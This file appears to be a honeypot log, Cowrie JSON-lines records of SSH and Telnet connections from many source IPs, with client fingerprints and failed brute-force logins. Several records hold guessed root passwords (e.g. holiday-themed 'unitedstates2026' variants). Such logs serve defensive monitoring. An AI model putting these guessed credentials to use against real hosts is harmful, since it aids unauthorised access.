{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":44108,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea506455b326","protocol":"ssh","message":"New connection: 80.94.92.234:44108 (10.17.0.5:22) [session: ea506455b326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:29.139109Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:29.235118Z","src_ip":"80.94.92.234","session":"ea506455b326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.37.174.180","src_port":64784,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e35100713f9","protocol":"ssh","message":"New connection: 211.37.174.180:64784 (10.17.0.5:22) [session: 2e35100713f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:49.619169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:49.623072Z","src_ip":"211.37.174.180","session":"2e35100713f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:49.829371Z","src_ip":"211.37.174.180","session":"2e35100713f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026!!!","message":"login attempt [root/unitedstates2026!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:50.452728Z","src_ip":"211.37.174.180","session":"2e35100713f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:51.659117Z","src_ip":"211.37.174.180","session":"2e35100713f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":49180,"dst_ip":"159.203.135.109","dst_port":22,"session":"29bf60f5238a","protocol":"ssh","message":"New connection: 162.214.159.200:49180 (159.203.135.109:22) [session: 29bf60f5238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:56.216122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:56.219999Z","src_ip":"162.214.159.200","session":"29bf60f5238a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:56.309473Z","src_ip":"162.214.159.200","session":"29bf60f5238a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic456","message":"login attempt [root/atomic456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:56.577274Z","src_ip":"162.214.159.200","session":"29bf60f5238a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:16:57.694181Z","src_ip":"162.214.159.200","session":"29bf60f5238a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.20.140.252","src_port":48282,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb341267a490","protocol":"ssh","message":"New connection: 1.20.140.252:48282 (10.17.0.5:22) [session: fb341267a490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:19.038141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:19.042068Z","src_ip":"1.20.140.252","session":"fb341267a490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:19.294976Z","src_ip":"1.20.140.252","session":"fb341267a490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026!@#","message":"login attempt [root/unitedstates2026!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:20.048618Z","src_ip":"1.20.140.252","session":"fb341267a490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:21.301249Z","src_ip":"1.20.140.252","session":"fb341267a490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55470,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0b7c81a00f","protocol":"ssh","message":"New connection: 46.19.67.181:55470 (159.203.135.109:22) [session: ce0b7c81a00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:29.039917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:29.043779Z","src_ip":"46.19.67.181","session":"ce0b7c81a00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:29.155134Z","src_ip":"46.19.67.181","session":"ce0b7c81a00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raushan","message":"login attempt [root/raushan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:29.491594Z","src_ip":"46.19.67.181","session":"ce0b7c81a00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:30.605422Z","src_ip":"46.19.67.181","session":"ce0b7c81a00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":35864,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0f12af22fe9","protocol":"ssh","message":"New connection: 113.125.165.132:35864 (10.17.0.5:22) [session: f0f12af22fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:33.784454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:33.788050Z","src_ip":"113.125.165.132","session":"f0f12af22fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:34.030402Z","src_ip":"113.125.165.132","session":"f0f12af22fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3ed","message":"login attempt [root/1qaz2wsx3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:35.038083Z","src_ip":"113.125.165.132","session":"f0f12af22fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:36.283578Z","src_ip":"113.125.165.132","session":"f0f12af22fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.235.21","src_port":44230,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eb440d59c81","protocol":"ssh","message":"New connection: 122.154.235.21:44230 (10.17.0.5:22) [session: 3eb440d59c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:48.991212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:48.994978Z","src_ip":"122.154.235.21","session":"3eb440d59c81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:49.250683Z","src_ip":"122.154.235.21","session":"3eb440d59c81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026@","message":"login attempt [root/unitedstates2026@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:50.014536Z","src_ip":"122.154.235.21","session":"3eb440d59c81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:17:51.275071Z","src_ip":"122.154.235.21","session":"3eb440d59c81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"219.151.190.128","src_port":43398,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5b793c0ce0","protocol":"ssh","message":"New connection: 219.151.190.128:43398 (10.17.0.5:22) [session: 7f5b793c0ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:19.021649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:19.025551Z","src_ip":"219.151.190.128","session":"7f5b793c0ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:19.295534Z","src_ip":"219.151.190.128","session":"7f5b793c0ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2026@1","message":"login attempt [root/unitedstates2026@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:20.112415Z","src_ip":"219.151.190.128","session":"7f5b793c0ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:21.385186Z","src_ip":"219.151.190.128","session":"7f5b793c0ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.0.95","src_port":50668,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f09aa02aa1","protocol":"telnet","message":"New connection: 64.227.0.95:50668 (10.17.0.5:23) [session: e4f09aa02aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:26.414672Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:26.439589Z","src_ip":"64.227.0.95","session":"e4f09aa02aa1","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:26.446470Z","src_ip":"64.227.0.95","session":"e4f09aa02aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":41934,"dst_ip":"10.17.0.5","dst_port":22,"session":"813b5951a4bf","protocol":"ssh","message":"New connection: 91.92.40.176:41934 (10.17.0.5:22) [session: 813b5951a4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:47.916924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:47.921412Z","src_ip":"91.92.40.176","session":"813b5951a4bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:48.003273Z","src_ip":"91.92.40.176","session":"813b5951a4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"admin","message":"login attempt [nginx/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:18:48.253467Z","src_ip":"91.92.40.176","session":"813b5951a4bf","protocol":"ssh"}
